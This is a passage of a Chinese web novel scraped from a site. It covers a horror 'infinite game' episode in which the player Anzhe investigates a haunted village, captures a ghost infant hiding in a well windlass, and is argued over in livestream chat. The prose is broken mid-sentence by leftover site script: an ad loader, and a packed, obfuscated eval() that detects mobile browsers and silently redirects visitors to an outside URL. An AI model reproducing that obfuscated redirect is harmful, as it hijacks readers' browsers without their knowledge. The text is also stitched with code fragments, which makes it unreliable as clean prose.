‘噩梦委员会’这几个字一出,之前招呼安哲的林凡和高溯脸色猛地一变。
仿佛看到了什么洪水猛兽般,两人脸色扭曲,下意识地往严嵩那边站了一点。
“哎呀呀,你们这是什么反应,我们噩梦委员会的又不是什么坏人,至于吓成这样吗?”
矮瘦男笑嘻嘻地扫视一圈,歪在身边高胖男的身上‘咯咯咯’地笑着,瘦到皮包骨的脸上满是神经病般的癫狂。
片刻后,看见安哲还揣着手站在那看戏,动作表情自始至终地没有变过,矮瘦男表情一变,脸色瞬间阴冷。
“这位小兄弟是谁,胆气很足啊,哪家公会的,要不要跳槽来我们噩梦委员会混混?”
“唔,”我吗?
安哲下意识想要询问,随即又想起自己伪装的高冷人设,就又把到了嘴边的疑问给咽下。
揣着看戏的手缓缓放下,安哲看着面无表情的高壮男,与面色阴沉的矮瘦男,以高手的形态沉稳发问。
“你谁?”
此话一出,就连严嵩都没忍住看了安哲一眼。
高壮和矮瘦男更是被问得当场愣住,缓了一缓后,回过神来的矮瘦男气笑了,冲安哲竖起了个拇指。
“行,你很行,敢这么挑衅我们噩梦委员会的我还是头一次见,加油啊小子,希望你能活着走出副本。”
由于主播评级还没出,别说各大公会的发言板块了,此时的安哲就连论坛都进不去。
完全不清楚噩梦委员会在玩家中的口碑有多臭名昭著的安哲“嗯”了一声,全当他在夸奖和祝福自己。
但不清楚归不清楚,安哲显然不是个会吃亏的人。
想想他目前为数不多的仇人和公会,安哲一边在记仇小本本上加上了噩梦委员会的名字,一边表情淡淡地开口。
“你也很行,敢这么挑衅我们至暗教团的我也是第一次见。”
特意轻轻扬了下唇角,安哲皮笑肉不笑地开口祝福道:“加油啊,也希望你们能活着走出副本。”
【收集到胖虎的负面情绪,能量值+199!】
【收集到司服的负面情绪,能量值+666!】
这话一出,场上众人的表情变得古怪起来,刚才还一脸嚣张气息的高胖矮瘦两人组脸色徒然一变。
仿佛看到了什么有违常理的事物般,二人组盯着安哲脸色微妙地猛瞧,最终,什么也没看出来的二人组皱眉冷哼,神色各异地收回视线,却是终于不再放狠话了。
看来这个至暗教团还挺厉害的,怪不得翁浩瀚那个煮血粥的大变态离开前还特意把公会名搬出来,撂狠话吓人。
安哲若有所思地垂眼,旁边,之前打趣问过他是不是颜值主播的两人却吓得不轻。
脸色青青白白地在安哲和高胖矮瘦两人组间来回打量,很明显,想不通这小小一个B级本,怎么就凑齐无限游戏两大毒瘤公会的高级成员,还让他们把其中之一给得罪了的林凡和高溯脸都是绿的。
目光凄然地互相对视了一眼,两人扭头,异常坚定地站在了严嵩身后,并不瘦小的背影里写满了郁闷。
见状,严嵩似乎被逗到,轻轻地闷笑了一声。
几乎就在严嵩出声的那一刻,此时高度敏感,精神极度紧绷的胖虎和司服瞬间扭头,目光阴森地向严嵩盯去。
“咳,咳咳……”
紧闭着的院门外,轻微的敲门声与沉重的咳声一起响起。
吱吖作响的院门被轻轻推开,院门上挂着的红灯笼悄悄点燃,在逐渐明亮的光线里,一位面容枯槁,身形佝偻的老人拄着拐杖走进院内。
他目光昏暗地打量了一下众人,干巴枯瘦的突然笑了。
没剩几颗牙齿的萎缩牙床露出,老头冲众人拱了拱手,扶着拐杖的身子颤巍巍的。
“诸位想必就是,揭榜来我们村帮忙,的高人了吧?”
老头年纪大了,说话间总有种喘不上来气的感觉,说话断句也很奇怪。
呼哧呼哧地喘了口气,老头干瘪的嘴巴蠕动了两下,拄着拐杖颤巍巍地转身往外走。
“跟我来吧,这里不是人,住的地方,你们怎么摸到这里来了,我们已经提前准备好了,入宿的地方高人们,跟我来吧。”
阴森的风吹过,挂在门上的大红灯笼轻飘飘地摇。
面对这明显是指引npc的老者,刚一见面就已经闹掰了的众人动身,自发性地分成几波往外走。
慢吞吞地走在最后,安哲看着走在他身旁,头一直低垂着,面容和穿着都极为朴素的女人,眼神带着点好奇。
就在刚刚他宣布自己是至暗教团的成员,并由衷地向高胖矮瘦二人组送上祝福时,院内的其他人多多少少都给他贡献出了些负面情绪,名字不多不少的恰好是五个。
其中出现的名字他都能大概对上,里面也没有女性化的名字。
也就是说,走在他身旁的这个家伙刚才并没有情绪波动的产生,或者说产生的情绪波动全为赞赏。
情绪这么稳定的吗,真难得啊。
乐呵呵地走在队伍的最后面,安哲一边跟着队友们往前走,一边抬头,光明正大地打量四周。
此时夜色已深,黑色的夜幕低垂,夜晚的天空看上去沉甸甸的,压得人心里发慌。
村里都是泥地,只有他们正在走的村里主路铺了坑洼干裂的水泥,路的两边,屋子家家紧闭,每户门前都高高地挂着两个红灯笼。
不过或许是没人居住的缘故,院门口的红灯笼没有亮起,紧闭着院门的房屋看起来也很破旧荒废,这个村子的人烟似乎格外稀少,安哲他们一路走来,就没看见几个还在住的屋子。
不知何时起,青色的雾气弥漫开来,在街道上滚滚翻涌。
配合上路两旁没有点燃,在沉重雾气里若隐若现,愈发阴暗的红灯笼,气氛说不出的阴森,恍惚间,给人一种走在黄泉路上,排队一路赴死的感觉。
“咕——”
仿佛哀嚎呼救的嘶哑怪叫声响起,将不知不觉中陷入恍惚的众人唤回神来。
夜枭扑棱棱扇动翅膀的声音从远处划过,四周的雾气已经悄悄堆积过了头顶。
粘稠的雾气伴随着众人走动,被搅动着浓稠流淌,可视距离被压得极近,一米外看不到人影。
他们似乎是从村边缘角落离开,逐渐来到了有人居住的聚集地,这边每家每户的院门口前挂着的红灯笼都是亮着的。
红惨惨的灯光穿透雾气,在厚重青雾中飘在半空,亮起一个又一个的光点,看起来像是有怪物在雾中蛰伏。
完全没意识到他们是怎么走过来的,雾又是何时泛起的众人表情严肃。
大家都是等级不低的高玩,记路警戒四周什么的都是刻在本能里的基本操作,偶尔少数大意一下还能算是正常,全都没反应过来的话,那就只能是——
系统设定如此,或者眼前的这个老头不对劲。
面对众人微妙看来的警惕目光,走在前方颤巍巍引路的老者也恰到好处的停下脚步,伸手往前指了指。
“这就是俺们,为高人们准备的屋子,屋里饭菜都已经准备好了,高人们,请吧。”
一行人下意识抬眼看去,脸色顿时变得更差。
看着院门口明晃晃挂着,连演都不带演的两个白灯笼,以及白灯笼上那大大的“奠”字,高高壮壮,脾气看起来就很差的胖虎直接气笑。
“老头,你们门口挂的都是红灯笼,给我们挂白的?”
“这里就是,高人们住的屋子,一直都是,你们不住的话,就自己,找地方住吧。”
老者顿了顿拐杖,浑浊无光的眼睛失焦地向胖虎看去,他咧嘴笑了笑,露出了干瘪枯萎的牙床。
“俺们村,偏,晚上雾气大,荒郊野岭的不太安全,高人们晚上没有,必要的话还是不要外出了。”
“我孙子来接我了,高人们,早点睡,小老儿先行退下,明天见。”
邦邦的梆子声传来,带着句低沉嘶哑的嗓音,由远及近地慢慢传来。
“子时三更,平安无事——”
高壮的身影拨开雾气,一顿一顿地向他们走来。
借着门口白灯笼里散发出的光,众人看清了这个前来接人的老者孙子。
这是个面容黝黑,身形高壮,看起来有些邋遢的留着胡须的坡脚汉子,眼神似乎也有点不好,看着他们的眼神直勾勾的。
拄着拐棍扶上了孙子胳膊,老者冲安哲他们笑了笑,两人转身慢吞吞走回了雾里。
“子时三更,平安无事——”
打更人嘶哑的报更声逐渐远去,夜色中,微风吹拂,雾气仿佛被手拨动般不断翻涌。
众人站在院门口高挂着的白灯笼下,脸上的表情沉默而又凝重。
下意识地将视线从白灯笼上挪开,林凡一脸晦气地撇嘴,扭头向严嵩看去。
“严局,我们要不要重新找个住处?”
“最好不要,”严嵩摇了摇头,眉头微微皱起。
“这雾看起来有古怪,晚上不要在街道上跑太远,周围都住的有人,他们不会让我们进去借宿的。”
这次副本里他们的身份特殊,名义上是村里请来帮忙的高人,实际上却处处被嫌弃和防备。
不光引路的老者,就连刚才的打更人都用一种提防中带着浓浓微妙的古怪眼神盯着他们,既怕又怕的,似乎是害怕他们来,又害怕他们走。
安哲揣手站在队伍末,仍在暗中打量着他还不知道名字的女队友。
此时一阵阴风飘过,被安哲瞄了一路的女人突然回头。
她虹膜乌黑,在昏暗的灯光下乍一看,虹膜与瞳孔仿佛区分不开般,眼睛中间一团黑色。
安哲愣了一下,就见她径自走上前去,将紧闭着的院门推开,瘦小的身影融入进了院中浓浓的夜色。
“行了,别搁这分析了,赶紧进去呗。”
阴阳怪气地嘲讽了几句,司服怪笑了几声,和胖虎紧随其后的走进院里。
众人陆续走入,走在最后的安哲贴心地将院门关上,进入院后,浓重雾气变淡了不少,就
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
连原先昏暗的月光都仿佛变得明亮了几分。
院内的正中央,有一口不知道还能不能使用的水井,有些破口的木桶和颜色暗沉的麻绳随意地扔在用青色石砖围成的井口旁,老旧破败的辘轳上有好大一块极为明显的脏污印记。
院子左侧是旱厕,右侧则是农村的土灶厨房,厨房外堆着一堆柴火,正对着院门的大屋应该就是休息住宿的地方,此刻房门同样紧闭,屋内倒是神奇地亮着灯光。
“这水井……就打在院子正中间啊?”
即便是不懂风水的人,也能看出这院子里的古怪。
阴森的冷意从水井中不断冒出,一阵微风吹过,刚才开口的高溯猛地打了个冷战。
他抬眼望去,发现最先进门的那个女人已经绕过了水井,推门准备进入大屋。
微妙的饭香味传来,带着点热气的香味与院内阴冷的气氛交错,场面说不出的古怪。
“别愣着了,赶快进去吧,里面饭菜好香。”
安哲善意提醒了一下高溯,也跟着队友们绕过水井往屋内走。
在他眼前,淡蓝色的透明弹窗再度出现,白色字体无声提示。
【指引2:天黑莫出屋,红退白进,夜半不临池】
红退白进?
安哲动作自然地向前走着,仿佛没受到半点眼前文字的干扰。
脑海中,每家每户院门上挂着的灯笼突然闪过,安哲拧眉,觉得有点不对。
红进白退很好理解,红灯笼进,白灯笼退,但这句话没有主语,这个‘红进白退’,指的是谁?
是人?
还是鬼?
这句话里明确指向他的只有前半句,除了那个“天黑莫出屋”外,后面跟着的两句都很模糊。
既可以看做系统透露给他的行动指引,也可以视作系统简单点出来的,鬼的行动规则。
指的是人,那么红进白退是安全的。
如果指的是鬼,那么红进白退,就刚好和鬼撞到了一起。
村民门口上都挂着红色的灯笼,代表着红灯笼是安全的,按理来说这应该就是个简单的指引。
但系统的幺蛾子闹多了,这狗玩意又不是第一次闹bug,安哲总觉得有点不太对劲。
透露这么多消息给他,这狗东西能有那么好心?
最后一个进门的高溯没有关门,快步走到了队友林凡的身边坐下。
大家默契十足地坐在桌子两边,将看不到屋外情况的屋门背对位,与直面屋外情况的屋门正对位都空了出来。
四方形的长桌中,热腾腾的菜香和大白馒头的香味融合,小钩子般不断地向众人鼻子里飘去。
林凡拿出个针形状的道具,在菜品和每个馒头上都扎了扎,片刻后,看着依旧银亮的银针,林凡松了口气,对众人点头示意。
“可以吃,没毒,也不是糟乱东西伪装成的食物。”
见状,大家放下心来,将桌上的菜品分食。
从始至终一直安静围观的安哲墩着脸,一边吃饭一边感慨。
不愧是高端局的队友,配合默契,该注意的细节也都拿捏得很到位。
沉默且迅速地将饭菜吃完,就进入到了分配房间的环节。
大厅后的屋子一共三间,胖虎和司服率先抢下最安全的中间,林凡和高溯坚决要求和严嵩一屋,表示自己绝对听从指挥,企图抱大腿的心十分强烈。
只剩下了最左边的屋子留给沉默女人和安哲,还是靠近旱厕,斜对着院中水井的“完美”位置。
漂亮纤细的冷脸怪和沉默寡言的朴素女人,一副怎么看怎么要完蛋,肯定第一个被偷袭的惨淡模样。
严嵩对林凡和高溯要和自己一屋没有拒绝,只是和安哲换了屋,将靠近厨房那边的屋子留给了安哲。
看着林凡和高溯不太乐意,但又不敢说些什么的表情,再看看严嵩点头示意,让他们今晚小心的样子。
没想到这狗屎游戏里还真有好人的安哲挑了挑眉,趁着大家分开往各自屋里走的时候,安哲从系统商城中兑换了张纸条,当着众人的面向严嵩口袋里塞去。
“……你们两个偷偷摸摸地干什么呢,真当我们全都是瞎子啊?”
阴森森地扫了安哲一眼,司服耷拉着三角眼,皮笑肉不笑地说道。
“至暗教团什么时候和守夜人关系这么好了,你们不是才把守夜人的一个B级小队团灭了吗?”
“你懂什么,这是诅咒小纸条。”
安哲冷笑一声,学着司服的样子嘴歪眼斜地嘲讽回去。
“你要是想要的话今晚来我屋,我再多给你点,管够嗷老铁,千万别和我客气。”
司服:“……”
司服被安哲恶心得够呛,两人直到转弯分开时还在斗嘴。
房门关上的那一刻,司服阴森森笑着的脸猛地一沉,他皱紧眉头,目光阴沉地向胖虎看去。
“能确定吗,那家伙真是至暗教团的人?”
“确定不了,但是……”
明显地犹豫了一下,胖虎指着自己鼻子缓缓摇头。
“但是他身上,确实有着股恶灵臭味,很凶。”
“……”,司服沉默几下,骂了句很脏的脏话。
“有病吧他们,不是被守夜人那边反狙击了吗,还分人手过来掺和我们这边的事?”
“果实快成熟了,他们知道我们这边的进度,想来偷一手也很正常。”
胖虎笑了笑,练肉横生的脸上满是与外表不符的精明。
“不管他们,优先完成会长交代下来的任务最重要。”
“嘎,嘎咕——”
夜枭嘶哑颤抖的嗓音从远处传来,隔着纸糊的窗子,听起来和哀嚎哭救的声音更像了几分。
走进房间坐下来的那一刻,无法抑制的睡意便迅猛袭来。
安哲眼皮颤抖,他下意识抵抗着,挣扎搏斗了许久,最终还是被那愈发古怪的力量强制拖进了梦里。
吱呦,吱呦,有什么东西在轻轻转着。
安哲猛地睁眼,他翻身坐起,下意识地将长刀召出。
仿佛感受到了什么般,黑色冤魂从刀中蹿出,眼中红色的凶光狂冒。
下一秒,院里吱呦吱呦的轻响停了。
仿佛陷入了沉默中般,无声的寂静在房中和院内回荡。
安哲提刀起身,表情冷静地向外走去,下一秒,他脑壳猛地一痛,眼前的一切仿佛水中的倒影般疯狂旋转。
精神恍惚地眨了眨眼,安哲起身,发现自己已经从梦中的床上离开。
他又坐回了入梦前,刚刚进门时坐下来的凳子上,还保持着靠在柱子上的姿势。
安哲:“……?”
28.乡村诡话(二)
房间内,吱呦不断的轻响不再,手中,刚才被召唤出的长刀也消失。
安哲回忆了一下自己刚才突如其来的困意,与梦中脑壳的猛地一痛。
隐约间感觉自己好像被嫌弃了的安哲皱眉,他打量四周,发现跟他一起回来的沉默女人已经消失不见,不知道去了哪里。
安哲想了想,也起身向外走去。
摸去其他两个房间敲了敲门,不出意外的没有得到回应。
房门紧闭的两个房间里都黑洞洞的,安哲贴在胖虎他们房间外的门上听了一会儿,里面一点声音都没有,也不知道是死了还是出去了,没有一点声音。
刚才做梦时听到的吱呦声,应该是院里的水井辘轳发出来的吧?
脚步轻轻地从后面的卧房中离开,安哲绕回前厅,饭桌上,他们之前吃剩下的餐盘还在,被仔细地摞起收好。
残留着点冷渣和油污的菜盘摆在桌上,冷冷倒影着映进前厅的月光。
安哲从前厅走出,步伐慢慢地向外走去。
三间卧室在前厅后面,窗户对着的都是一片荒芜的后山和后院,理论上来说,除非使用道具,否则卧室里的人是看不到前院发生的景象的。
安哲走进前院,此刻一阵风吹过,乌云飘来遮住了月亮,月光黯淡下来。
在昏暗模糊的光线中,安哲拨开雾气,发现原先歪斜在水井右侧旁的木桶,已经悄悄挪到了左边。
“你这演技,”实在没忍住笑了一下,安哲小声吐槽:“不怎么好啊。”
说话间,原先静悄悄的辘轳开始疯狂旋转。
垂在水中的麻绳大幅度摇晃着上抽,高昂刺耳的吱呦声里,一团乌黑色的东西被捞了上来,阴冷散发着寒意的水飞溅。
在安哲凝神等待中,被捞上来的东西顶端突然扭转。
一个被泡到肿胀的人头180度扭动,睁眼冲安哲张开了嘴,赫然就是那个沉默女人的脸!
“……嗯?”
强烈的晕眩感再度袭来,安哲恍惚一瞬,发现自己又回到了之前的房间里。
他仍旧坐在凳子上,身体轻斜地靠着柱子,在他身前,刚在他梦中出现的沉默女人正站在那里。
她无声伸手,低头向安哲看来,似乎是想查看安哲的情况。
“我没事,”安哲搓了搓脸,今晚第三次站起身来。
窗外,邦邦的梆子声响起,更夫嘶哑低沉的嗓音拖长了传来。
“丑时四更,天寒地冻——”
“3点了,快睡吧。”
似乎确定了安哲没事,沉默女人收回了手,她发音强调有些古怪,像是很久没有说过话的样子。
“床上就一床被子,晚上雾气大,我们可以一起盖。”
“没事,不用。”
感觉到了沉默女人对自己释放的善意,安哲冲她笑了笑,不再装高冷高手。
“你盖就行,不过如果不是很困的话,不建议在副本里睡太沉,周围最好放个道具。”
微笑着活动了一下手腕,安哲转身向外走去。
“我去外面探索一下,你自己留在房间里小心。”
沉默女人没有应声,依旧沉默,安哲离开房间前看了一眼,发现她已经躺在床上,给自己盖好了被子。
关上房门后往外走,只不过这一次是从左到右,安哲依旧敲了敲剩下的两间房门,两个屋内也依旧安静。
走过走廊前往前厅,前厅里,吃剩了的菜盘凌乱摆在桌面上,并没有人收拾,一如他们今晚离开时的样子。
安哲笑眯眯的往前院走,伴随着他的靠近,吱呦吱呦的,水井辘轳把手旋转摇晃的速度也跟着提升。
哗啦啦,不知何时被扔进水井中的木水桶被提起,泛着血腥气的死鱼在木桶中乱蹦。
特意过来看看,看它还能不能将自己队友变出的安哲歪头。
所以说,刚才的那些都是障眼法?
安哲静静扫了地上长出牙齿,互相撕咬着却不敢靠近他的死鱼一眼,脸上的表情似乎在说就这。
见状,似乎是再也受不了安哲的骑脸挑衅,地上胡乱攀咬着的死鱼动作一顿,肉芽组成的畸形手脚从鱼腹上长出。
在满地乱蹦的血水与牙齿中,死鱼大军流水般向安哲爬来,嗤嗤乱叫着,呼吸间满是肉腐与血腥气。
安哲笑眯眯地没有动手,似乎成竹在胸的样子。
在死鱼大军即将爬来的那一刻,安哲转身,猛地向他身后空气挥刀劈出。
仿佛什么都不存在的阴影里,一团黑暗中游动着的污秽被劈中,头大瘦小的婴儿哇哇乱哭着飞速爬走。
在安哲“小哥哥别走,告诉我点情报啊”的笑眯眯低喝声中,觉得自己遇到了变态的大头婴儿爬得更快了。
青紫色的小手和小脚灵活无比的飞快挥动,在安哲的刀即将落下的前一刻,爆发出了身体全部潜能的小婴儿终于一个猛蹿,蹿回了水井辘轳中。
伴随着他的回归,木质的水井辘轳上,那团奇形怪状的暗色污迹再度浮现。
看着心安理得蹿进辘轳里装死的大头婴,安哲沉默片刻,疑惑上前。
“你躲进这里的话,我不更好逮你了吗?”
话音未落,水井辘轳上的把手顿了一下,又开始疯狂摇动。
在大头婴摇出下一桶死鱼大军前,安哲走上前去,一刀将安置着水井辘轳的架子砍断,而后用刀将辘轳拨到地上。
见状,污迹阴影立马游动,兴奋不已地准备蹿进地面跑路,而就在他即将成功蹿进地面里的那一刻,黑色冤魂桀桀怪笑着从刀中冒出。
比死鱼群还要强横无数倍的浓郁血腥凶气狂冒,大头婴立刻就被震住。
它化作的污迹团抖了抖,很明显地往麻绳下方遮盖着的地方游去,接着陷入自闭。
不是大哥你谁啊,邪祟化作的人类过来跨村砸场子的吗?
谁家好人身上能有只这么凶的凶灵!?
“这个,能吃不?”
闻到香气,已经馋疯了的黑色冤魂冒着哈喇子,站在那里疯狂点头。
“行,”安哲见状满意笑了,接着挥手将黑色冤魂打发。
“那你先把地上那堆死鱼吃了,记得吃干净点嗷,明天要是被人看出来了,没你好果子吃。”
黑色冤魂:“……?”
怎么是去吃死鱼,不是吃这个吗?
黑色冤魂对安哲的命令不敢反抗,但也不愿意放过眼前这顿大餐。
他拖着飘散黑红长烟的拖尾,慢吞吞地往地上那堆胡乱蹦跶的死鱼飘去,猩红的眼睛依依不舍地盯着藏在辘轳里的大头婴,眼神满是渴望。
这个好吃,这个有用,让我吃这个吧!
安哲不耐烦挥手,想想安哲那结实小拳头,已经被安哲揍得差点魂飞魄散一次的黑色冤魂不敢再磨叽。
他捧起地上的死鱼,皱眉往自己嘴里塞入,第一口啃进去的那一刻,黑色冤魂的眼泪一下子就飙了出来。
你吗的,好难吃啊!
死鱼大军本就是大头婴用来使鱼群战术,用井水里的下脚料随意捏成的消耗品,不管是原料还是其中蕴含的能量都一等一的次。
塞进嘴里的那一刻,啃屎的鲜明错觉立马在黑色冤魂的脑海中腾腾升起。
嫌弃无比地yue了一声,黑色冤魂塞着满嘴的死鱼回身,控诉地向安哲看去,然后顺利无比的,迎回了安哲一个超级加倍的嫌弃眼神。
“快点吃啊,”同样觉得有点恶心的安哲皱眉。
都已经选择当坏蛋了,难道还指望别人会对你有同理心和照顾情吗?
冷酷地盯了黑色冤魂一眼,安哲好心提示:“再不快点吃的话,就要挨揍了哦。”
黑色冤魂:“……”
并不存在的颅骨开始隐隐作痛,猩红的血泪潺潺飙出,捧起地上的死鱼往嘴里狂塞,黑色冤魂边吃边掉泪之际,也终于升起了一丝后悔之情。
你吗,怎么就被这个小变态给逮到了!
是的没错,黑色冤魂并不后悔作恶,他后悔的只是自己一时失察,不慎被安哲逮到罢了。
被打上灵魂烙印后,黑色冤魂已经彻底变成了安哲的所属物,隐隐感受到黑色冤魂那边的想法,安哲懒得跟这个纯种坏胚讲理,只是微笑着用眼神催促,催促着这个坏玩意尽快啃屎。
在安哲的无声催促下,黑色冤魂动作飞快地将蹦跶满院的死鱼和地上掉落的那些乱七八糟物塞进嘴里。
啃完这些安哲还是有点不放心,担心满院血污的导致他第二天露出马脚,安哲想了想,又让黑色冤魂把院子里的土也吃掉了一层。
这样应该就可以了吧?黑色冤魂吃完土后又用身体在地上碾了一圈,现在地面平整干巴得跟他们刚过来时一样。
满意地向手中最后一个破绽看去,安哲发现木质的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13777286|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辘轳里,大头婴化作的污迹已经蜷缩到了辘轳里离他最远的角落,疑似脑袋的污迹旁,还有不少星星点点状的小点污迹散落。
见安哲的目光移了过来,大团污迹抖了抖,周围的小点污迹变得更多了。
……这是被吓哭了?胆子这么小的吗?
安哲愣了一下,回头向黑色冤魂瞪去。
“早就给你说过了吃饭时要文雅一点,不要总跟狗刨的一样,你看,又吓哭了一个。”
在黑色冤魂欲言又止,气得周身黑气都开始泛红的委屈目光中,安哲转过身去。
“小哥哥别害怕,我跟他不一样,我是个好人。”
“来告诉哥哥好不好,你都知道些什么呀?”
安哲冲瑟瑟发抖,疑似正在狂哭的大头婴露出一个灿烂微笑,安抚的声音轻缓而又柔和。
在他的温柔安抚下,效果可以说是十分明显。
肉眼可见的,大头婴更害怕了。
系统里的负面情绪记录已经从原先的一秒半页,飙升到了一秒两页这堪称奇迹的刷新速度。
感受着大头婴那边源源不断传来的恐惧,咳,负面能量,一时间,安哲也有些头秃。
手下太吓人了也不好,招安都不好招安呐!
无奈地瞪了黑色冤魂一眼,丝毫没有自己才是罪魁祸首觉悟的安哲沉吟片刻,开始思考补救措施。
既然大头婴不配合的话,那就只能小黑魂上了。
黑色冤魂今晚刚在安哲的压迫下吃屎吃土,刷新了自己邪恶无比的鬼生底线记录,此刻难得看到安哲吃瘪,黑色冤魂揣手飘在安哲身后,心里美得吃屎都没那么难过了。
然而还不等他乐一会儿,猝不及防间,就看到安哲猛地回头向他看来。
“他不配合,你钻进去伪装一下吧。”
黑色冤魂:“……?”
不是,这个小崽种不配合,关他啥事?
配合什么,配合你**个***吗?
在黑色冤魂和大头婴懵逼的目光中,有了黑色冤魂这个刀灵后,对魂灵类的鬼怪好像莫名加了点特攻的安哲伸手,在精神力的配合下愣是把大头婴从辘轳里拽出。
见状,被从寄宿地拽出的大头婴整个鬼都是傻的,它在半空中蹬腿疯狂挣扎,张嘴凄厉的呐喊狂叫。
赶在它哇哇狂哭的前一刻,安哲动作飞快地将大头婴塞进刀里,而后轻轻地松了口气。
还好他动作快,不然让这家伙哭出来把队友们吵醒的话,他今晚的举动可就不好解释了。
那个什劳子“噩梦委员会”的成员感觉阴嗖嗖的,还是低调点好,不得不防。
安下心来的安哲满意点头,而在他旁边,围观了全程的黑色冤魂整个鬼都惊了。
不是阿Sir,它进去了,那我去哪?
“咦,你怎么还在这里?”
奇怪地看了黑色冤魂一眼,安哲抬手,将大团污迹已经消失,重新恢复古朴的木质辘轳塞进黑色冤魂怀里。
往水井那边努了努嘴,安哲示意这家伙别发呆了,不要再墨迹。
“记住刚才它的样子了吧?钻进去后记得伪装得像一点,把辘轳重新安上……唔,有被刀劈砍的痕迹,你再捏造个幻象上去,别被人看出来嗷,不然……”
就这么温温柔柔地交代了一番,在安哲动之以情,晓之以理的劝说下,被毫不掩饰威胁了的黑色冤魂扛着辘轳往水井那边飘,气得整个魂都在抖。
天杀的人类,这该死的世道。
别人家的武器灵也会被这么使唤吗?现在的小年轻懂不懂一点尊重啊!
黑色冤魂嫌弃不已地将自己塞进辘轳中,怨气十足地发起了伪装。
站在院子里观察了一会儿,确定没什么疏漏后,安哲满意地点了点头,提刀准备和刀里他刚塞进去的大头婴讲讲道理。
就在他将刀提起的那一刻,院门外,打更人嘶哑的声音从远处模糊传来。
“早睡早起,保重身体——”
伴随着‘梆’的一声轻响,安哲眼前的世界模糊起来。
熟悉的轻微眩晕感飘过,安哲眼前一花,发现自己又回到了屋里。
还是熟悉的位置和姿势,还是熟悉的凳子和柱子。
逐渐亮起的光线从窗边透过,安哲活动了一下因长时间未动而有些僵硬的身子,感到有些惊奇。
竟然还是幻觉吗,这么神奇?
29.乡村诡话(三)
不,应该不是幻觉。
能感受到大头婴正害怕地蜷缩在刀的最深处,哭嚎不已地向他源源不断提供着负面能量,也能感受到黑色冤魂正窝在院中的水井辘轳上,怨念十足地进行伪装。
昨晚发生的一切并没有被抹消,那些经历和改变过的存在一切照旧。
唯一发生变化的只有他自身,就好像独独对他一个人进行了回档一样。
安哲皱眉坐在凳子上,总感觉有些不对。
如果这回档只对他造成影响的话,那刀也是他的一部分,为什么刀里的大头婴还在?
但如果不是回档和幻觉的话,他又为什么从屋外突然回到了屋里,还保持着昨晚进门后最开始的位置?
就在安哲思虑间,屋里的床铺上,看样子昨晚睡了一宿的沉默女人已经开始起床,动作麻利地铺叠被子。
被这轻微的动静唤回神来,安哲想了想,抬眼向沉默女人看去。
“你好,请问昨晚我出过门吗?”
闻言,正在整理床铺的沉默女人看了安哲一样,似乎是在奇怪他怎么会这样问。
在安哲笑眯眯的和煦目光里,沉默女人摇了摇头,嗓音艰涩地开口。
“没有,昨晚你进门后和我说完话就坐凳子上睡了,一晚上都没有动过。”
在旁观者的视角看来,昨晚的他是这样的啊。
若有所思地摸了摸下巴,安哲笑着向沉默女人道谢,突然想起了系统之前的提示。
【指引2:天黑莫出屋,红进白退,夜半不临池】
难道“天黑莫出屋”指的就是这个?
可如果仅仅只是天亮后,出门的人就会回到屋内的话,对晚上外出探索的玩家们来说这非但不是个威胁,反而是个保护吧?
跟沉默女人一起往外走,安哲皱眉,总感觉这个副本处处透着古怪。
怪不得上个副本难度也不小却还是能当新手副本,这么看来,正式副本的难度确实比新手副本高多了啊!
并不清楚自己被塞进了B级副本的安哲感慨唏嘘,而直播间里,清楚他昨晚遭遇了什么的观众们已经炸锅了。
[靠靠靠,不是他开挂了吧,连侦查道具都没用怎么锁定的怨气婴灵啊?阴魂状态下那个大头娃娃不是能高规格免疫伤害的吗,怎么一击就被打出阴魂状态了,废物!!!]
[笑死,看了这么久直播你们还没熟悉主播的战斗力和武力值啊,这就破防啦?天天盼着别人倒霉横死,怨气那么重你不如向无限系统申请进游戏里当鬼怪NPC捏,被你天天乱骂侮辱的主播锤一顿就老实了,嘻嘻]
[我***你个***,你**的管我***的怎么看直播啊?就烦你们这群***的,天天对那群废物亲亲抱抱举高高,鼓励你*个**呢?!]
[啊啊哲哲好棒!昨晚的探索看得我好爽,主播这么低的等级被塞进这么高的副本里,还能玩得这么6已经很厉害了好嘛!宝宝你是最棒的宝宝,加油冲鸭!!]
在安哲没有去看的直播间里,迟迟而来的纯恨粉丝们已经撸起袖子,和他们向来看不惯的善良粉丝们战成了一团。
双方你来我往地战斗着,嘴炮完毕迅速输出一通后,在嘴脏和没素质这方面没赢过的善良粉丝们娴熟使用了屏蔽大法,飞快地屏蔽了随之而来的抨击与脏话。
对此,总有种一拳打到棉花上,气急败坏又窝火的纯恨粉丝们更气了。
他们骂着脏话对直播间内的所有人进行无差别攻击和侮辱,其中对安哲攻击的恶意尤其的大。
[嘻嘻,不知道你们在高兴什么捏,隔壁胖虎和司服昨晚外出布局了一整晚,新手主播也就能打一点,拿什么和噩梦委员会这种顶尖公会的高级成员斗哦,怕是最后怎么死的都不知道捏]
[还在这里夸“啊啊宝宝最棒了”,呕,喜欢鼓励教育是吧,夸的主播多死几个就老实了,嘻嘻]
[最好主播和那个狗屁严嵩能手拉手地一起去死,在无限游戏里搞尼玛的真善美呢,真当这里是过家家啊,呸呸呸!]
负能量的观众看什么都是负能量的,逮着哪个主播都想骂上几句。
不过和安哲这边还没多少名气和人气不同,严嵩直播间里的铁粉数量众多,有了评级后,根据评级确定数量的房管也都掌握在自家粉丝手里。
敢去骂人的黑粉露头就被秒,被封号禁言挨骂的多了,同样也是欺软怕硬的纯恨观众们骂骂咧咧地就又跑了回来。
一部分流去了林凡和高溯的直播间,一部分流去了安哲直播间里。
对此,深恨没有房管在手,导致直播间里乌烟瘴气的安哲粉丝们气得不行。
